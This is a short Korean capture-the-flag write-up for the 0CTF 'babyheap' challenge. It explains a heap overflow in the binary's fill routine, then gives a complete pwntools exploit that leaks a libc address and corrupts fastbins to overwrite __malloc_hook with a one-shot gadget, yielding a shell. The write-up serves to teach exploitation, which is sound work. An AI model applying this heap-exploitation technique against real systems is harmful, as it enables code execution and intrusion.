이번 문제는 바이너리를 분석해보면 힙을 할당, 해제, 데이터 쓰기, 출력이 있다.
데이터 쓰기 부분에서 힙의 사이즈에 상관없이 입력한 사이즈 만큼 데이터를 입력받을 수 있기 때문에 여기서 힙 오버플로우가 발생한다.
힙을 할당하는 부분에서 malloc이 아닌 calloc을 사용하기 때문에 UAF로 인한 leak이 불가능 하고, FULL RELRO이기 때문에 got overwrite는 불가능하다. 이때 사용할 수 있는 __malloc_hook 공간이 있다. 이 공간에 oneshot 가젯으로 조작하여 셸을 획득할 수 있다.
exploit
from pwn import *
# context.terminal = ['tmux', 'splitw', '-h']
p = process('./0ctfbabyheap')
elf = ELF('./0ctfbabyheap')
# gdb.attach(p)
def Alloc(size):
print p.sendlineafter('Command:', '1')
print p.sendlineafter('Size:', str(size))
def Fill(idx, size, data):
print p.sendlineafter('Command:', '2')
print p.sendlineafter('Index:', str(idx))
print p.sendlineafter('Size:', str(size))
print p.sendlineafter('Content:', str(data))
def Free(idx):
print p.sendlineafter('Command:', '3')
print p.sendlineafter('Index:', str(idx))
def Dump(idx):
print p.sendlineafter('Command:', '4')
print p.sendlineafter('Index:', str(idx))
Alloc(0x10) # 0
Alloc(0x10) # 1
Alloc(0x10) # 2
Alloc(0x10) # 3
Alloc(0x80) # 4
Free(2)
Free(1)
payload = p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
Fill(0, len(payload), payload)
payload = p64(0)*3
payload += p64(0x21)
Fill(3, len(payload), payload)
Alloc(0x10)
Alloc(0x10)
payload = p64(0)*3
payload += p64(0x91)
Fill(3, len(payload), payload)
Alloc(0x80) # 4
Free(4)
Dump(2)
print p.recvuntil(': \n')
leak = u64(p.recv(6).ljust(8, '\x00'))
libc_base = leak - 0x3c4b78 # main_arena offset 0x3c4b78
malloc_hook = libc_base + 0x3c4b10
oneshot = libc_base + 0x4527a
log.info('leak = ' + hex(leak))
log.info('libc base = ' + hex(libc_base))
log.info('malloc hook = ' + hex(malloc_hook))
log.info('oneshot = ' + hex(oneshot))
Alloc(0x60)
Free(4)
payload = p64(malloc_hook - 0x23)
Fill(2, len(payload), payload)
Alloc(0x60) # 5
Alloc(0x60) # 6
payload = '\x00'*3
payload += p64(0)*2
payload += p64(oneshot)
Fill(6, len(payload), payload)
Alloc(0x20)
p.interactive()
댓글